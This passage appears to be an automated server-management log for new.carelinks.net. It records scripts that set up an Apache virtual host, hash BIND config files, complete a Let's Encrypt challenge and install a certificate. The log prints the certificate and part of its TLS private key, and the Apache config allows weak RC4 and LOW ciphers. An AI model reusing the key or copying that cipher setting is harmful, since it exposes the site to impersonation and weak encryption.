ServerName new.carelinks.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
DocumentRoot /var/www/carelinks_new
<Directory /var/www/carelinks_new>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinks/new_secure_access.log combined
ErrorLog /var/log/apache2/carelinks/new_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p /var/log/apache2/carelinks
mkdir -p $DOCROOT/$PUBLIC
chown -R phil:phil $DOCROOT
ln -s "..//etc/apache2/sites-enabled/carelinks_new_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf= 1'
fi
2025-12-29 21:51:55:
chmod 755 /tmp/pkp556171; /tmp/pkp556171; rm /tmp/pkp556171
2025-12-29 21:51:55:
chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/carelinks_new_net.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf
file(/etc/apache2//etc/apache2/sites-enabled/carelinks_new_net.conf= 1
STDERR:
chown: invalid user: ‘phil:phil’
2025-12-29 21:51:55:
PUT: /tmp/pkp177668
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-29 21:51:55:
chmod 755 /tmp/pkp177668; /tmp/pkp177668; rm /tmp/pkp177668
2025-12-29 21:51:55:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-29 21:51:55: Establishing a connection
2025-12-29 21:51:55:
PUT: /tmp/pkp634652
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-29 21:51:55:
runuser -l bind -s /bin/bash -c '/tmp/pkp634652; rm /tmp/pkp634652'
2025-12-29 21:51:56:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-29 21:52:06: Establishing a connection
2025-12-29 21:52:06: Establishing a connection
2025-12-29 21:52:06:
PUT: /tmp/pkp946949
#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-29 21:52:06:
chmod 755 /tmp/pkp946949; /tmp/pkp946949; rm /tmp/pkp946949
2025-12-29 21:52:06:
0
2025-12-29 21:52:45: Establishing a connection
2025-12-29 21:52:45: Establishing a connection
2025-12-29 21:52:45:
PUT: /tmp/pkp686376
#!/bin/bash
if [ -d "/var/www/carelinks_new/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-29 21:52:45:
chmod 755 /tmp/pkp686376; /tmp/pkp686376; rm /tmp/pkp686376
2025-12-29 21:52:45:
1
2025-12-29 21:52:47: Establishing a connection
2025-12-29 21:52:47:
PUT: /tmp/pkp435103
#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
cat > O4nzH2jEC4EgHyVaU833ofpTa4pJyh8ai6i4Q1B4hT4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
O4nzH2jEC4EgHyVaU833ofpTa4pJyh8ai6i4Q1B4hT4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 O4nzH2jEC4EgHyVaU833ofpTa4pJyh8ai6i4Q1B4hT4
2025-12-29 21:52:47:
chmod 755 /tmp/pkp435103; /tmp/pkp435103; rm /tmp/pkp435103
2025-12-29 21:52:47:
2025-12-29 21:52:51: Establishing a connection
2025-12-29 21:52:51:
PUT: /tmp/pkp353228
#!/bin/bash
mkdir -p "/var/www/carelinks_new/.well-known/acme-challenge/"
cd "/var/www/carelinks_new/.well-known/acme-challenge/"
rm O4nzH2jEC4EgHyVaU833ofpTa4pJyh8ai6i4Q1B4hT4
2025-12-29 21:52:51:
chmod 755 /tmp/pkp353228; /tmp/pkp353228; rm /tmp/pkp353228
2025-12-29 21:52:51:
2025-12-29 21:52:51: Establishing a connection
2025-12-29 21:52:51:
PUT: /tmp/pkp112626
#!/bin/bash
temp_file=$(mktemp)
TARGET=c13083ef22e4da45778cd2f50f19c2de.crt
cat > $temp_file <<'endmsg'
c1:5c:98:af:57:ae:9f:2e:7a:32:a9:e7:fc:61:47:3d
-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBj8fg4k6CFh3nY7hdrSbj7/UMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI5MjA1NDIwWhcNMjYwMzI5MjA1NDE5WjAcMRowGAYDVQQD
ExFuZXcuY2FyZWxpbmtzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL1fHL/FpwwxJFiRkVdXx452W/+mhbR7HGgiyiUdt5Ee7vbTSnwRaiNXtQC5
0Sbb/cSXfqkwcZk4cknmhT09LvxCnx3ZiU+MNOKNnIgEtUHcLgZkFA2yyAwv6Ad3
aEPR84jTGEf2Kzssg+Nol0lj5rYwiYMZnPGe760w7XZtMAYwdBz9+W6LtnBI9gGr
5w9ihscIX4gXwVrSBg1keMS5KG3mj1LaamPoc91EQ0oc3DSVL3JjoK6xZLSdfgIF
aZdebvLkbeHPVvrkpAe4tMhS7iN97mZwSii8JFNMe4blgUrLwi+sL0KHvIdyjoLV
QSFXhEXSB7umOMWmQPdjklWVu3sCAwEAAaOCAikwggIlMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUoK9qP0zxMYjFK03V0Q7xbL4IfewwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFuZXcuY2FyZWxpbmtzLm5l
dDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzg1LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2
AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABm2wZhicAAAQDAEcw
RQIhAPhc29SwSYlsgeeUJTRBfpIRKqzWTdi6i8mY591riKdbAiApaRvkNs/suZ1y
mxcqUodLaKbrtjUTXpw0kz9rzRVKxwB+ABqLnWlKV5jImaDKiL30j8C0VmDMw2AN
H3H0af/H0ayjAAABm2wZhxsACAAABQAtqHgMBAMARzBFAiEA07lgaORLsgO+tW2e
ujUtBIPXF6mbUGtO7UgM47evFYwCIHA0Xc6+0Gs/mosXsocOcGRBUSEUBX5jq00S
vAAY1RyjMA0GCSqGSIb3DQEBCwUAA4IBAQAbC483YRxc2ZmEiVhN1jBZ8IvEjOKB
r/ZqZanuaFMswPl4zY4IY3LV1F1lOKmlRrFPtC7uJhqDfQJOI7DjhgjQmsTPM7/w
oH7GLs1XbooaU7ABCUneSr6OdEFfsNoYAmP15GvOKo66wljRYaR61lDfTtlQyGgr
TBj6SJy+iQ+MIdCIwYbzY2uzweg264AtLusbjoBiD2TW43m8pIESY9ziUepnH3pq
Ba6jBr5KgXfdvocl/fIsGp2dK/YDHH5c/jopnFwEC5tCaCFnPbfUHzJMMEKSCqC/
3Ms75WrH2wFdfpwfp0T5RL9BcBa0PAuAnYbWLiwf75YB3EtRHd0lxUHt
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC9Xxy/xacMMSRY
kZFXV8eOdlv/poW0exxoIsolHbeRHu7200p8EWojV7UAudEm2/3El36pMHGZOHJJ
5oU9PS78Qp8d2YlPjDTijZyIBLVB3C4GZBQNssgML+gHd2hD0fOI0xhH9is7LIPj
aJdJY+a2MImDGZzxnu+tMO12bTAGMHQc/flui7ZwSPYBq+cPYobHCF+IF8Fa0gYN
ZHjEuSht5o9S2mpj6HPdRENKHNw0lS9yY6CusWS0nX4CBWmXXm7y5G3hz1b65KQH
uLTIUu4jfe5mcEoovCRTTHuG5YFKy8IvrC9Ch7yHco6C1UEhV4RF0ge7pjjFpkD3
Y5JVlbt7AgMBAAECggEARsvpHpTRJ9Czat04/fNWKp97M29Y6ylfbFsdQZUDjKCI
7AQAA7Qq/v2KMLRHSgTSsY2Fj9EJlyOwLoqc41EdYLezbuBl4jRjjRMuIvfHn9Cl
8EO374sYGN5MG4Z7l2dFabCpkjWo4d15jSoL7ScJGLG6pyWLNBWcOx5gmHanjpgm
zjyJ1OBSdyGVNJiRXe9LATLT7fqhZNlDj+ARGpolNW2/Gnus3RYgZQVsGiPSJU4F
jqlsZQI3/r2SUH3/lv1Kci4oktsCYhJO3RFts+q8EBe/8vnrQpqib1jbEtqQl1Bu
VMTbI4iei3qYqCg/ihizBfSZgz4FZTO11FIuqpbakQKBgQD51qnwQiBwHcqBrrJr
